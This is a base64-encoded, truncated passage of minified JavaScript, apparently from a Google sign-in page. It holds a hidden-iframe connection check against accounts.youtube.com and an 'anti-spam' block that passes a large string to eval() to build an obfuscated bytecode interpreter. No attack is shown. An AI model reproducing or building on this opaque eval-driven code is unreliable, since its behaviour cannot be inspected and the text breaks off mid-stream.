IGlmICghYyB8fCBjLnRvTG93ZXJDYXNlKCkgIT0gZC50b0xvd2VyQ2FzZSgpKSByZXR1cm4gITE7IChkID0gTnVtYmVyKGEubWF0Y2goR24pWzRdIHx8IG51bGwpIHx8IG51bGwpIHx8IChkID0gR28oZikpOyByZXR1cm4gZSA9PSBkDQogICAgICB9OyB2YXIgR3EgPSBHcSB8fCBuZXcgR2woImNoZWNrX2Nvbm5lY3Rpb24iKSwgR3IgPSBudWxsLCBHcyA9IG51bGwsIEd0ID0gbnVsbCwgR3UgPSBmdW5jdGlvbiAoYSwgYikgeyB0aGlzLmMgPSBhOyB0aGlzLmIgPSBiOyB0aGlzLmEgPSAhMSB9OyBHID0gR3UucHJvdG90eXBlOyBHLmggPSBmdW5jdGlvbiAoYSwgYikgeyBpZiAoIWIpIHJldHVybiAhMTsgaWYgKDAgPD0gYS5pbmRleE9mKCIsIikpIHJldHVybiBHcS5lcnJvcigiQ2hlY2tDb25uZWN0aW9uIHJlc3VsdCBjb250YWlucyBjb21tYSIsIFthXSksICExOyB2YXIgYyA9IGIudmFsdWU7IGIudmFsdWUgPSBjID8gYyArICIsIiArIGEgOiBhOyByZXR1cm4gITAgfTsgRy5kID0gZnVuY3Rpb24gKGEpIHsgcmV0dXJuIHRoaXMuaChhLCBHcykgfTsgRy5qID0gZnVuY3Rpb24gKGEpIHsgcmV0dXJuIHRoaXMuaChhLCBHdCkgfTsgRy5pID0gZnVuY3Rpb24gKGEpIHsgYSA9IGEubWF0Y2goIl4oW146XSspOihcXGQqKTooXFxkPykkIik7IHJldHVybiAhYSB8fCAzID4gYS5sZW5ndGggPyBudWxsIDogYVsxXSB9Ow0KICAgICAgRy5wID0gZnVuY3Rpb24gKGEsIGIpIHsgaWYgKCFHcCh0aGlzLmMsIGEpKSByZXR1cm4gITE7IGlmICh0aGlzLmEgfHwgIWIpIHJldHVybiAhMDsgImFjY2Vzc2libGUiID09IGIgPyAodGhpcy5kKGEpLCB0aGlzLmEgPSAhMCkgOiB0aGlzLmkoYikgPT0gdGhpcy5iICYmICh0aGlzLmooYikgfHwgdGhpcy5kKGEpLCB0aGlzLmEgPSAhMCk7IHJldHVybiAhMCB9OyBHLm0gPSBmdW5jdGlvbiAoKSB7IHZhciBhOyBhID0gdGhpcy5jOyB2YXIgYiA9ICJ0aW1lc3RhbXAiLCBjID0gU3RyaW5nKChuZXcgRGF0ZSkuZ2V0VGltZSgpKTsgaWYgKDAgPCBhLmluZGV4T2YoIiMiKSkgdGhyb3cgT2JqZWN0KCJVbnN1cHBvcnRlZCBVUkwgRXhjZXB0aW9uOiAiICsgYSk7IHJldHVybiBhID0gMCA8PSBhLmluZGV4T2YoIj8iKSA/IGEgKyAiJiIgKyBlbmNvZGVVUklDb21wb25lbnQoYikgKyAiPSIgKyBlbmNvZGVVUklDb21wb25lbnQoYykgOiBhICsgIj8iICsgZW5jb2RlVVJJQ29tcG9uZW50KGIpICsgIj0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGMpIH07DQogICAgICBHLm8gPSBmdW5jdGlvbiAoKSB7IHZhciBhID0gd2luZG93LmRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlmcmFtZSIpLCBiID0gYS5zdHlsZTsgYi52aXNpYmlsaXR5ID0gImhpZGRlbiI7IGIud2lkdGggPSAiMXB4IjsgYi5oZWlnaHQgPSAiMXB4IjsgYi5wb3NpdGlvbiA9ICJhYnNvbHV0ZSI7IGIudG9wID0gIi0xMDBweCI7IGEuc3JjID0gdGhpcy5tKCk7IGEuaWQgPSB0aGlzLmI7IEdyLmFwcGVuZENoaWxkKGEpIH07DQogICAgICB2YXIgR3YgPSBmdW5jdGlvbiAoYSkgeyByZXR1cm4gZnVuY3Rpb24gKGIpIHsgdmFyIGMgPSBiLm9yaWdpbi50b0xvd2VyQ2FzZSgpOyBiID0gYi5kYXRhOyBmb3IgKHZhciBkID0gYS5sZW5ndGgsIGUgPSAwOyBlIDwgZCAmJiAhYVtlXS5wKGMsIGIpOyBlKyspOyB9IH0sIEd3ID0gZnVuY3Rpb24gKCkgew0KICAgICAgICAgIGlmICh3aW5kb3cucG9zdE1lc3NhZ2UpIHsNCiAgICAgICAgICAgICAgdmFyIGE7IGEgPSB3aW5kb3cuX19DSEVDS19DT05ORUNUSU9OX0NPTkZJRy5pZnJhbWVQYXJlbnRFbGVtZW50SWQ7IHZhciBiID0gd2luZG93Ll9fQ0hFQ0tfQ09OTkVDVElPTl9DT05GSUcuY29ubmVjdGl2aXR5RWxlbWVudElkLCBjID0gd2luZG93Ll9fQ0hFQ0tfQ09OTkVDVElPTl9DT05GSUcubmV3UmVzdWx0RWxlbWVudElkOyAoR3IgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChhKSkgPyAoYiAmJiAoR3MgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiKSksIGMgJiYgKEd0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoYykpLCBHcyB8fCBHdCA/IGEgPSAhMCA6IChHcS5lcnJvcigiVW5hYmxlIHRvIGxvY2F0ZSB0aGUgaW5wdXQgZWxlbWVudCB0byBzdG9yZUNoZWNrQ29ubmVjdGlvbiByZXN1bHQiLA0KWyJvbGQgaWQ6ICIgKyBTdHJpbmcoYiksICJuZXcgaWQ6ICIgKyBTdHJpbmcoYyldKSwgYSA9ICExKSkgOiAoR3EuZXJyb3IoIlVuYWJsZSB0byBsb2NhdGUgdGhlIGlmcmFtZSBhbmNob3IgdG8gYXBwZW5kIGNvbm5lY3Rpb24gdGVzdCBpZnJhbWUiLCBbImVsZW1lbnQgaWQ6ICIgKyBhXSksIGEgPSAhMSk7IGlmIChhKSB7DQogICAgICAgICAgICAgICAgICBhID0gd2luZG93Ll9fQ0hFQ0tfQ09OTkVDVElPTl9DT05GSUcuZG9tYWluQ29uZmlnczsgaWYgKCFhKSB7IGlmICghd2luZG93Ll9fQ0hFQ0tfQ09OTkVDVElPTl9DT05GSUcuaWZyYW1lVXJpKSB7IEdxLmVycm9yKCJNaXNzaW5nIGlmcmFtZSBVUkwgaW4gb2xkIGNvbmZpZ3VyYXRpb24iKTsgcmV0dXJuIH0gYSA9IFt7IGlmcmFtZVVyaTogd2luZG93Ll9fQ0hFQ0tfQ09OTkVDVElPTl9DT05GSUcuaWZyYW1lVXJpLCBkb21haW5TeW1ib2w6ICJ5b3V0dWJlIn1dIH0gaWYgKDAgIT0gYS5sZW5ndGgpIHsNCiAgICAgICAgICAgICAgICAgICAgICBmb3IgKHZhciBiID0gYS5sZW5ndGgsIGMgPSBbXSwgZCA9IDA7IGQgPCBiOyBkKyspIGMucHVzaChuZXcgR3UoYVtkXS5pZnJhbWVVcmksIGFbZF0uZG9tYWluU3ltYm9sKSk7DQogICAgICAgICAgICAgICAgICAgICAgR2god2luZG93LCAibWVzc2FnZSIsIEd2KGMpKTsgZm9yIChkID0gMDsgZCA8IGI7IGQrKykgY1tkXS5vKCkNCiAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgIH0gDQogICAgICAgICAgfSANCiAgICAgIH0sIEd4ID0gZnVuY3Rpb24gKCkgeyBpZiAod2luZG93Ll9fQ0hFQ0tfQ09OTkVDVElPTl9DT05GSUcpIHsgdmFyIGEgPSB3aW5kb3cuX19DSEVDS19DT05ORUNUSU9OX0NPTkZJRy5wb3N0TXNnU3VwcG9ydEVsZW1lbnRJZDsgaWYgKHdpbmRvdy5wb3N0TWVzc2FnZSkgeyB2YXIgYiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGEpOyBiID8gYi52YWx1ZSA9ICIxIiA6IEdxLmVycm9yKCJVbmFibGUgdG8gbG9jYXRlIHRoZSBpbnB1dCBlbGVtZW50IHRvIHN0b3JlcG9zdE1lc3NhZ2UgdGVzdCByZXN1bHQiLCBbImVsZW1lbnQgaWQ6ICIgKyBhXSkgfSB9IH07IEdfY2hlY2tDb25uZWN0aW9uTWFpbiA9IEdxLmYoR3cpOyBHX3NldFBvc3RNZXNzYWdlU3VwcG9ydEZsYWcgPSBHcS5mKEd4KTsNCjwvc2NyaXB0PjxzY3JpcHQ+DQogICAgICB3aW5kb3cuX19DSEVDS19DT05ORUNUSU9OX0NPTkZJRyA9IHsNCiAgICAgICAgICBuZXdSZXN1bHRFbGVtZW50SWQ6ICdjaGVja0Nvbm5lY3Rpb24nLA0KICAgICAgICAgIGRvbWFpbkNvbmZpZ3M6IFt7IGlmcmFtZVVyaTogJ2h0dHBzOi8vYWNjb3VudHMueW91dHViZS5jb20vYWNjb3VudHMvQ2hlY2tDb25uZWN0aW9uP3BtcG9cNzVodHRwcyUzQSUyRiUyRmFjY291bnRzLi5jb21cNDZ2XDc1LTg4MTU0OTEzOCcsIGRvbWFpblN5bWJvbDogJ3lvdXR1YmUnfV0sDQogICAgICAgICAgaWZyYW1lVXJpOiAnJywNCiAgICAgICAgICBpZnJhbWVPcmlnaW46ICcnLA0KICAgICAgICAgIGNvbm5lY3Rpdml0eUVsZW1lbnRJZDogJ2RuQ29ubicsDQogICAgICAgICAgaWZyYW1lUGFyZW50RWxlbWVudElkOiAnY2NfaWZyYW1lX3BhcmVudCcsDQogICAgICAgICAgcG9zdE1zZ1N1cHBvcnRFbGVtZW50SWQ6ICdwc3RNc2cnLA0KICAgICAgICAgIG1zZ0NvbnRlbnQ6ICdhY2Nlc3NpYmxlJw0KICAgICAgfTsNCiAgICAgIEdfc2V0UG9zdE1lc3NhZ2VTdXBwb3J0RmxhZygpOw0KICAgICAgR19jaGVja0Nvbm5lY3Rpb25NYWluKCk7DQo8L3NjcmlwdD48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ICAgICAgLyogQW50aS1zcGFtLiBXYW50IHRvIHNheSBoZWxsbz8gQ29udGFjdCAoYmFzZTY0KSBZbTkwWjNWaGNtUXRZMjl1ZEdGamRFQm5iMjluYkdVdVkyOXRDZz09ICovKGZ1bmN0aW9uICgpIHsgZXZhbCgndmFyIGYsZz10aGlzLGs9dm9pZCAwLHA9QXJyYXkucHJvdG90eXBlLHE9ZnVuY3Rpb24oYSxiLGMpe3JldHVybiAyPj1hcmd1bWVudHMubGVuZ3RoP3Auc2xpY2UuY2FsbChhLGIpOnAuc2xpY2UuY2FsbChhLGIsYyl9LHM9ZnVuY3Rpb24oYSxiLGMsZCxlKXtjPWEuc3BsaXQoIi4iKSxkPWcsY1swXWluIGR8fCFkLmV4ZWNTY3JpcHR8fGQuZXhlY1NjcmlwdCgidmFyICIrY1swXSk7Zm9yKDtjLmxlbmd0aCYmKGU9Yy5zaGlmdCgpKTspYy5sZW5ndGh8fGI9PT1rP2Q9ZFtlXT9kW2VdOmRbZV09e306ZFtlXT1ifSx0PWZ1bmN0aW9uKGEsYixjKXtpZihiPXR5cGVvZiBhLCJvYmplY3QiPT1iKWlmKGEpe2lmKGEgaW5zdGFuY2VvZiBBcnJheSlyZXR1cm4iYXJyYXkiO2lmKGEgaW5zdGFuY2VvZiBPYmplY3QpcmV0dXJuIGI7aWYoYz1PYmplY3QucHJvdG90eXBlLnRvU3RyaW5nLmNhbGwoYSksIltvYmplY3QgV2luZG93XSI9PWMpcmV0dXJuIm9iamVjdCI7aWYoIltvYmplY3QgQXJyYXldIj09Y3x8Im51bWJlciI9PXR5cGVvZiBhLmxlbmd0aCYmInVuZGVmaW5lZCIhPXR5cGVvZiBhLnNwbGljZSYmInVuZGVmaW5lZCIhPXR5cGVvZiBhLnByb3BlcnR5SXNFbnVtZXJhYmxlJiYhYS5wcm9wZXJ0eUlzRW51bWVyYWJsZSgic3BsaWNlIikpcmV0dXJuImFycmF5IjtpZigiW29iamVjdCBGdW5jdGlvbl0iPT1jfHwidW5kZWZpbmVkIiE9dHlwZW9mIGEuY2FsbCYmInVuZGVmaW5lZCIhPXR5cGVvZiBhLnByb3BlcnR5SXNFbnVtZXJhYmxlJiYhYS5wcm9wZXJ0eUlzRW51bWVyYWJsZSgiY2FsbCIpKXJldHVybiJmdW5jdGlvbiJ9ZWxzZSByZXR1cm4ibnVsbCI7ZWxzZSBpZigiZnVuY3Rpb24iPT1iJiYidW5kZWZpbmVkIj09dHlwZW9mIGEuY2FsbClyZXR1cm4ib2JqZWN0IjtyZXR1cm4gYn0sdj0obmV3IGZ1bmN0aW9uKCl7fSxmdW5jdGlvbihhLGIpe2Eubj0oIkU6IitiLm1lc3NhZ2UrIjoiK2Iuc3RhY2spLnNsaWNlKDAsMjA0OCl9KSx3PWZ1bmN0aW9uKGEsYil7Zm9yKGI9QXJyYXkoYSk7YS0tOyliW2FdPTI1NSpNYXRoLnJhbmRvbSgpfDA7cmV0dXJuIGJ9LHg9ZnVuY3Rpb24oYSxiKXtyZXR1cm4gYVtiXTw8MjR8YVtiKzFdPDwxNnxhW2IrMl08PDh8YVtiKzNdfSxBPWZ1bmN0aW9uKGEsYil7YS5LLnB1c2goYS5jLnNsaWNlKCkpLGEuY1thLmJdPWsseihhLGEuYixiKX0sQj1mdW5jdGlvbihhLGIsYyl7cmV0dXJuIGM9ZnVuY3Rpb24oKXtyZXR1cm4gYX0sYj1mdW5jdGlvbigpe3JldHVybiBjKCl9LGIuVj1mdW5jdGlvbihiKXthPWJ9LGJ9LEQ9ZnVuY3Rpb24oYSxiLGMsZCl7cmV0dXJuIGZ1bmN0aW9uKCl7aWYoIWR8fGEucylyZXR1cm4geihhLGEuTixhcmd1bWVudHMpLHooYSxhLmssYyksQyhhLGIpfX0sRT1mdW5jdGlvbihhLGIsYyxkKXtmb3IoYz1bXSxkPWItMTswPD1kO2QtLSljW2ItMS1kXT1hPj44KmQmMjU1O3JldHVybiBjfSxGPWZ1bmN0aW9uKGEsYixjLGQpe2lmKDgxOTI+YS5sZW5ndGgpcmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUuYXBwbHkobnVsbCxhKTtmb3IoYj0iIixjPTA7YzxhLmxlbmd0aDtjKz04MTkyKWQ9cShhLGMsYys4MTkyKSxiKz1TdHJpbmcuZnJvbUNoYXJDb2RlLmFwcGx5KG51bGwsZCk7cmV0dXJuIGJ9LEM9ZnVuY3Rpb24oYSxiLGMsZCl7cmV0dXJuIGM9YS5hKGEuYiksYS5lJiZjPGEuZS5sZW5ndGg/KHooYSxhLmIsYS5lLmxlbmd0aCksQShhLGIpKTp6KGEsYS5iLGIpLGQ9YS50KCkseihhLGEuYixjKSxkfSxIPWZ1bmN0aW9uKGEsYixjLGQpe2ZvcihiPXt9LGIuTz1hLmEoRyhhKSksYi5QPUcoYSksYz1HKGEpLTEsZD1HKGEpLGIuc2VsZj1hLmEoZCksYi5EPVtdO2MtLTspZD1HKGEpLGIuRC5wdXNoKGEuYShkKSk7cmV0dXJuIGJ9LEk9ZnVuY3Rpb24oYSxiLGMsZCl7dHJ5e2ZvcihkPTA7ODQ5NDE5NDQ2MDghPWQ7KWErPShiPDw0XmI+Pj41KStiXmQrY1tkJjNdLGQrPTI2NTQ0MzU3NjksYis9KGE8PDReYT4+PjUpK2FeZCtjW2Q+Pj4xMSYzXTtyZXR1cm5bYT4+PjI0LGE+PjE2JjI1NSxhPj44JjI1NSxhJjI1NSxiPj4+MjQsYj4+MTYmMjU1LGI+PjgmMjU1LGImMjU1XX1jYXRjaChlKXt0aHJvdyBlO319LHo9ZnVuY3Rpb24oYSxiLGMpe2lmKGI9PWEuYnx8Yj09YS5tKWEuY1tiXT9hLmNbYl0uVihjKTphLmNbYl09QihjKTtlbHNlIGlmKGIhPWEuZCYmYiE9YS5mJiZiIT1hLmh8fCFhLmNbYl0pYS5jW2JdPUooYyxhLmEpO2I9PWEuciYmKGEudT1rLHooYSxhLmIsYS5hKGEuYikrNCkpfSxLPWZ1bmN0aW9uKGEsYixjLGQsZSl7Zm9yKGE9YS5yZXBsYWNlKC9cXHJcXG4vZywiXFxuIiksYj1bXSxkPWM9MDtkPGEubGVuZ3RoO2QrKyllPWEuY2hhckNvZGVBdChkKSwxMjg+ZT9iW2MrK109ZTooMjA0OD5lP2JbYysrXT1lPj42fDE5MjooYltjKytdPWU+PjEyfDIyNCxiW2MrK109ZT4+NiY2M3wxMjgpLGJbYysrXT1lJjYzfDEyOCk7cmV0dXJuIGJ9LEw9ZnVuY3Rpb24oYSxiKXtyZXR1cm4gYjw9YS5hYT9iPT1hLmh8fGI9PWEuZHx8Yj09YS5mfHxiPT1hLnE/YS5vOmI9PWEuTnx8Yj09YS5IfHxiPT1hLkl8fGI9PWEuaz9hLnY6Yj09YS53P2EuaTpiPT1hLmp8fGI9PWEucD8yOmI9PWEubD8xOjQ6WzEsMiw0LGEubyxhLnYsYS5pXVtiJWEuYmFdfSxHPWZ1bmN0aW9uKGEsYixjKXtpZihiPWEuYShhLmIpLCEoYiBpbiBhLmUpKXRocm93IGEuZyhhLlkpLGEuQTtyZXR1cm4gYS51PT1rJiYoYS51PXgoYS5lLGItNCksYS5DPWspLGEuQyE9Yj4+MyYmKGEuQz1iPj4zLGM9WzAsMCwwLGEuYShhLnIpXSxhLlo9SShhLnUsYS5DLGMpKSx6KGEsYS5iLGIrMSksYS5lW2JdXmEuWltiJThdfSxKPWZ1bmN0aW9uKGEsYixjLGQsZSxoLGwsbixtKXtyZXR1cm4gbj1NLGU9TS5wcm90b3R5cGUsaD1lLnQsbD1lLlEsbT1lLmcsZD1mdW5jdGlvbigpe3JldHVybiBjKCl9LGM9ZnVuY3Rpb24oYSxyLHUpe2Zvcih1PTAsYT1kW2UuRl0scj1hPT09YixhPWEmJmFbZS5GXTthJiZhIT1oJiZhIT1sJiZhIT1uJiZhIT1tJiYyMD51Oyl1KyssYT1hW2UuRl07cmV0dXJuIGNbZS5nYStyKyEoIWErKHU+PjIpKV19LGRbZS5KXT1lLGNbZS5mYV09YSxhPWssZH0sTj1mdW5jdGlvbihhLGIsYyxkLGUsaCl7Zm9yKGU9YS5hKGIpLGI9Yj09YS5mP2Z1bmN0aW9uKGIsYyxkLGgpe2lmKGM9ZS5sZW5ndGgsZD1jLTQ+PjMsZS5kYSE9ZCl7ZS5kYT1kLGQ9KGQ8PDMpLTQsaD1bMCwwLDAsYS5hKGEuRyldO3RyeXtlLmNhPUkoeChlLGQpLHgoZSxkKzQpLGgpfWNhdGNoKHIpe3Rocm93IHI7fX1lLnB1c2goZS5jYVtjJjddXmIpfTpmdW5jdGlvbihhKXtlLnB1c2goYSl9LGQmJmIoZCYyNTUpLGg9MCxkPWMubGVuZ3RoO2g8ZDtoKyspYihjW2hdKX0sTT1mdW5jdGlvbihhLGIsYyxkLGUsaCl7dHJ5e2lmKHRoaXMuYz1bXSx6KHRoaXMsdGhpcy5iLDApLHoodGhpcyx0aGlzLm0sMCkseih0aGlzLHRoaXMuciwwKSx6KHRoaXMsdGhpcy5oLFtdKSx6KHRoaXMsdGhpcy5kLFtdKSx6KHRoaXMsdGhpcy5ILCJvYmplY3QiPT10eXBlb2Ygd2luZG93P3dpbmRvdzpnKSx6KHRoaXMsdGhpcy5JLHRoaXMpLHoodGhpcyx0aGlzLmwsMCkseih0aGlzLHRoaXMucCwwKSx6KHRoaXMsdGhpcy5HLDApLHoodGhpcyx0aGlzLmYsdyg0KSkseih0aGlzLHRoaXMucSxbXSkseih0aGlzLHRoaXMuayx7fSkseih0aGlzLHRoaXMuaiwyMDQ4KSx0aGlzLnM9dHJ1ZSxhJiYiISI9PWFbMF0pdGhpcy5uPWE7ZWxzZXtpZih3aW5kb3cuYXRvYil7Zm9yKGM9d2luZG93LmF0b2IoYSksYT1bXSxlPWQ9MDtlPGMubGVuZ3RoO2UrKyl7Zm9yKGg9Yy5jaGFyQ29kZUF0KGUpOzI1NTxoOylhW2QrK109aCYyNTUsaD4+PTg7YVtkKytdPWh9Yj1hfWVsc2UgYj1udWxsOyh0aGlzLmU9YikmJnRoaXMuZS5sZW5ndGg/KHRoaXMuSz1bXSx0aGlzLnQoKSk6dGhpcy5nKHRoaXMuVSl9fWNhdGNoKGwpe3YodGhpcyxsKX19O2Y9TS5wcm90b3R5cGUsZi5iPTAsZi5yPTEsZi5oPTIsZi5tPTMsZi5kPTQsZi53PTUsZi5OPTYsZi5qPTcsZi5MPTgsZi5IPTksZi5JPTEwLGYubD0xMSxmLnA9MTIsZi5HPTEzLGYuZj0xNCxmLnE9MTUsZi5rPTE2LGYuYWE9MTcsZi5SPTE1LGYuJD0xMixmLlM9MTAsZi5UPTQyLGYuYmE9NixmLmk9LTEsZi5vPS0yLGYudj0tMyxmLlU9MTcsZi5XPTIxLGYuQj0yMixmLmVhPTMwLGYuWT0zMSxmLlg9MzMsZi5BPXt9LGYuRj0iY2FsbGVyIixmLko9InRvU3RyaW5nIixmLmdhPTM0LGYuZmE9MzYsTS5wcm90b3R5cGUuYT1mdW5jdGlvbihhLGIpe2lmKGI9dGhpcy5jW2FdLGI9PT1rKXRocm93IHRoaXMuZyh0aGlzLmVhLDAsYSksdGhpcy5BO3JldHVybiBiKCl9LE0ucHJvdG90eXBlLmthPWZ1bmN0aW9uKGEsYixjLGQpe2Q9YVsoYisyKSUzXSxhW2JdPWFbYl0tYVsoYisxKSUzXS1kXigxPT1iP2Q8PGM6ZD4+PmMpfSxNLnByb3RvdHlwZS5qYT1mdW5jdGlvbihhLGIsYyxkKXtpZigzPT1hLmxlbmd0aCl7Zm9yKGM9MDszPmM7YysrKWJbY10rPWFbY107Zm9yKGM9MCxkPVsxMyw4LDEzLDEyLDE2LDUsMywxMCwxNV07OT5jO2MrKyliWzNdKGIsYyUzLGRbY10pfX0sTS5wcm90b3R5cGUubGE9ZnVuY3Rpb24oYSxiKXtiLnB1c2goYVswXTw8MjR8YVsxXTw8MTZ8YVsyXTw8OHxhWzNdKSxiLnB1c2goYVs0XTw8MjR8YVs1XTw8MTZ8YVs2XTw8OHxhWzddKSxiLnB1c2goYVs4XTw8MjR8YVs5XTw8MTZ8YVsxMF08PDh8YVsxMV0pfSxNLnByb3RvdHlwZS5nPWZ1bmN0aW9uKGEsYixjLGQpe2Q9dGhpcy5hKHRoaXMubSksYT1bYSxkPj44JjI1NSxkJjI1NV0sYyE9ayYmYS5wdXNoKGMpLDA9PXRoaXMuYSh0aGlzLmgpLmxlbmd0aCYmKHRoaXMuY1t0aGlzLmhdPWsseih0aGlzLHRoaXMuaCxhKSksYz0iIixiJiYoYi5tZXNzYWdlJiYoYys9Yi5tZXNzYWdlKSxiLnN0YWNrJiYoYys9IjoiK2Iuc3RhY2spKSxiPXRoaXMuYSh0aGlzLmopLDM8YiYmKGM9Yy5zbGljZSgwLGItMyksYi09Yy5sZW5ndGgrMyxjPUsoYyksTih0aGlzLHRoaXMuZixFKGMubGVuZ3RoLDIpLmNvbmNhdChjKSx0aGlzLiQpKSx6KHRoaXMsdGhpcy5qLGIpfSxmLk09W2Z1bmN0aW9uKCl7fSxmdW5jdGlvbihhLGIsYyxkLGUpe2I9RyhhKSxjPUcoYSksZD1hLmEoYiksYj1MKGEsYiksZT1MKGEsYyksZT09YS5pfHxlPT1hLm8/ZD0iIitkOjA8YiYmKDE9PWI/ZCY9MjU1OjI9PWI/ZCY9NjU1MzU6ND09YiYmKGQmPTQyOTQ5NjcyOTUpKSx6KGEsYyxkKX0sZnVuY3Rpb24oYSxiLGMsZCxlLGgsbCxuLG0pe2lmKGI9RyhhKSxjPUwoYSxiKSwwPGMpe2ZvcihkPTA7Yy0tOylkPWQ8PDh8RyhhKTt6KGEsYixkKX1lbHNlIGlmKGMhPWEudil7aWYoZD1HKGEpPDw4fEcoYSksYz09YS5pKWlmKGM9IiIsYS5jW2Eud10hPWspZm9yKGU9YS5hKGEudyk7ZC0tOyloPWVbRyhhKTw8OHxHKGEpXSxjKz1oO2Vsc2V7Zm9yKGM9QXJyYXkoZCksZT0wO2U8ZDtlKyspY1tlXT1HKGEpO2ZvcihkPWMsYz1bXSxoPWU9MDtlPGQubGVuZ3RoOylsPWRbZSsrXSwxMjg+bD9jW2grK109U3RyaW5nLmZyb21DaGFyQ29kZShsKToxOTE8bCYmMjI0Pmw/KG49ZFtlKytdLGNbaCsrXT1TdHJpbmcuZnJvbUNoYXJDb2RlKChsJjMxKTw8NnxuJjYzKSk6KG49ZFtlKytdLG09ZFtlKytdLGNbaCsrXT1TdHJpbmcuZnJvbUNoYXJDb2RlKChsJjE1KTw8MTJ8KG4mNjMpPDw2fG0mNjMpKTtjPWMuam9pbigiIil9ZWxzZSBmb3IoYz1BcnJheShkKSxlPTA7ZTxkO2UrKyljW2VdPUcoYSk7eihhLGIsYyl9fSxmdW5jdGlvbihhKXtHKGEpfSxmdW5jdGlvbihhLGIsYyxkKXtiPUcoYSksYz1HKGEpLGQ9RyhhKSxjPWEuYShjKSxiPWEuYShiKSx6KGEsZCxiW2NdKX0sZnVuY3Rpb24oYSxiLGMpe2I9RyhhKSxjPUcoYSksYj1hLmEoYikseihhLGMsdChiKSl9LGZ1bmN0aW9uKGEsYixjLGQsZSl7Yj1HKGEpLGM9RyhhKSxkPUwoYSxiKSxlPUwoYSxjKSxjIT1hLmgmJihkPT1hLmkmJmU9PWEuaT8oYS5jW2NdPT1rJiZ6KGEsYywiIikseihhLGMsYS5hKGMpK2EuYShiKSkpOmU9PWEubyYmKDA+ZD8oYj1hLmEoYiksZD09YS5pJiYoYj1LKCIiK2IpKSxjIT1hLmQmJmMhPWEuZiYmYyE9YS5xfHxOKGEsYyxFKGIubGVuZ3RoLDIpKSxOKGEsYyxiKSk6MDxkJiZOKGEsYyxFKGEuYShiKSxkKSkpKX0sZnVuY3Rpb24oYSxiLGMpe2I9RyhhKSxjPUcoYSkseihhLGMsZnVuY3Rpb24oYSl7cmV0dXJuIGV2YWwoYSl9KGEuYShiKSkpfSxmdW5jdGlvbihhLGIsYyl7Yj1HKGEpLGM9RyhhKSx6KGEsYyxhLmEoYyktYS5hKGIpKX0sZnVuY3Rpb24oYSxiKXtiPUgoYSkseihhLGIuUCxiLk8uYXBwbHkoYi5zZWxmLGIuRCkpfSxmdW5jdGlvbihhLGIsYyl7Yj1HKGEpLGM9RyhhKSx6KGEsYyxhLmEoYyklYS5hKGIpKX0sZnVuY3Rpb24oYSxiLGMsZCxlKXtiPUcoYSksYz1hLmEoRyhhKSksZD1hLmEoRyhhKSksZT1hLmEoRyhhKSksYS5hKGIpLmFkZEV2ZW50TGlzdGVuZXIoYyxEKGEsZCxlLHRydWUpLGZhbHNlKX0sZnVuY3Rpb24oYSxiLGMsZCl7Yj1HKGEpLGM9RyhhKSxkPUcoYSksYS5hKGIpW2EuYShjKV09YS5hKGQpfSxmdW5jdGlvbigpe30sZnVuY3Rpb24oYSxiLGMpe2I9RyhhKSxjPUcoYSkseihhLGMsYS5hKGMpK2EuYShiKSl9LGZ1bmN0aW9uKGEsYixjKXtiPUcoYSksYz1HKGEpLDAhPWEuYShiKSYmeihhLGEuYixhLmEoYykpfSxmdW5jdGlvbihhLGIsYyxkKXtiPUcoYSksYz1HKGEpLGQ9RyhhKSxhLmEoYik9PWEuYShjKSYmeihhLGQsYS5hKGQpKzEpfSxmdW5jdGlvbihhLGIsYyxkKXtiPUcoYSksYz1HKGEpLGQ9RyhhKSxhLmEoYik+YS5hKGMpJiZ6KGEsZCxhLmEoZCkrMSl9LGZ1bmN0aW9uKGEsYixjLGQpe2I9RyhhKSxjPUcoYSksZD1HKGEpLHooYSxkLGEuYShiKTw8Yyl9LGZ1bmN0aW9uKGEsYixjLGQpe2I9RyhhKSxjPUcoYSksZD1HKGEpLHooYSxkLGEuYShiKXxhLmEoYykpfSxmdW5jdGlvbihhLGIpe2I9YS5hKEcoYSkpLEEoYSxiKX0sZnVuY3Rpb24oYSxiLGMsZCl7aWYoYj1hLksucG9wKCkpe2ZvcihjPUcoYSk7MDxjO2MtLSlkPUcoYSksYltkXT1hLmNbZF07YS5jPWJ9ZWxzZSB6KGEsYS5iLGEuZS5sZW5ndGgpfSxmdW5jdGlvbihhLGIsYyxkKXtiPUcoYSksYz1HKGEpLGQ9RyhhKSx6KGEsZCwoYS5hKGIpaW4gYS5hKGMpKSswKX0sZnVuY3Rpb24oYSxiLGMsZCl7Yj1HKGEpLGM9YS5hKEcoYSkpLGQ9YS5hKEcoYSkpLHooYSxiLEQoYSxjLGQpKX0sZnVuY3Rpb24oYSxiLGMpe2I9RyhhKSxjPUcoYSkseihhLGMsYS5hKGMpKmEuYShiKSl9LGZ1bmN0aW9uKGEsYixjLGQpe2I9RyhhKSxjPUcoYSksZD1HKGEpLHooYSxkLGEuYShiKT4+Yyl9LGZ1bmN0aW9uKGEsYixjLGQpe2I9RyhhKSxjPUcoYSksZD1HKGEpLHooYSxkLGEuYShiKXx8YS5hKGMpKX0sZnVuY3Rpb24oYSxiLGMsZCxlKXtiPUgoYSksYz1iLkQsZD1iLnNlbGYsZT1iLk87c3dpdGNoKGMubGVuZ3RoKXtjYXNlIDA6Yz1uZXcgZFtlXTticmVhaztjYXNlIDE6Yz1uZXcgZFtlXShjWzBdKTticmVhaztjYXNlIDI6Yz1uZXcgZFtlXShjWzBdLGNbMV0pO2JyZWFrO2Nhc2UgMzpjPW5ldyBkW2VdKGNbMF0sY1sxXSxjWzJdKTticmVhaztjYXNlIDQ6Yz1uZXcgZFtlXShjWzBdLGNbMV0sY1syXSxjWzNdKTticmVhaztkZWZhdWx0OmEuZyhhLkIpO3JldHVybn16KGEsYi5QLGMpfSxmdW5jdGlvbihhLGIsYyxkLGUsaCl7aWYoYj1HKGEpLGM9RyhhKSxkPUcoYSksZT1HKGEpLGI9YS5hKGIpLGM9YS5hKGMpLGQ9YS5hKGQpLGE9YS5hKGUpLCJvYmplY3QiPT10KGIpKXtmb3IoaCBpbiBlPVtdLGIpZS5wdXNoKGgpO2I9ZX1mb3